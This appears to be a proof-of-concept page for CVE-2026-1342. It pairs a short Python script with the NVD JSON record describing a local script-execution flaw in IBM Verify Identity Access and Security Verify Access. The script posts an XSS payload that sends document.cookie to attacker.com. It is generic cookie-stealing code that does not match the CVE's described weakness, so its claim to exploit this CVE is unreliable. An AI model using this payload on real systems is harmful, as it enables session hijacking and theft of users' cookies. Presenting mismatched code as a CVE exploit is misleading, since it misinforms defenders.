CVE-2026-1342

# PoC for CVE-2026-1342: Local Script Execution # This script demonstrates how a malicious payload might be injected locally. import requests target_url = "http://localhost:9080/vulnerable_endpoint" # Example local endpoint malicious_payload = "<script>new Image().src='http://attacker.com/steal?data='+document.cookie;</script>" headers = { "User-Agent": "CVE-2026-1342-Scanner", "Content-Type": "application/x-www-form-urlencoded" } data = { "input_field": malicious_payload # Injecting script into a vulnerable parameter } try: # Sending the request to the local vulnerable application response = requests.post(target_url, data=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check for script execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-1342", "sourceIdentifier": "[email protected]", "published": "2026-04-08T00:16:03.860", "lastModified": "2026-04-09T18:29:07.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 could allow a locally authenticated user to execute malicious scripts from outside of its control sphere."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 7.9, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "C71B5C3B-4B1F-4330-9260-26B349CAE490"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:security_verify_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0.0", "versionEndIncluding": "10.0.9.1", "matchCriteriaId": "674B3E72-09DE-48D4-9F07-43152474E8CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "980521A4-FDCB-4EC4-9871-6CD57DEC14E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:verify_identity_access_container:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndIncluding": "11.0.2.0", "matchCriteriaId": "3FDCBF44-E483-4248-A39E-CB9226FF4BC9"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7268253", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}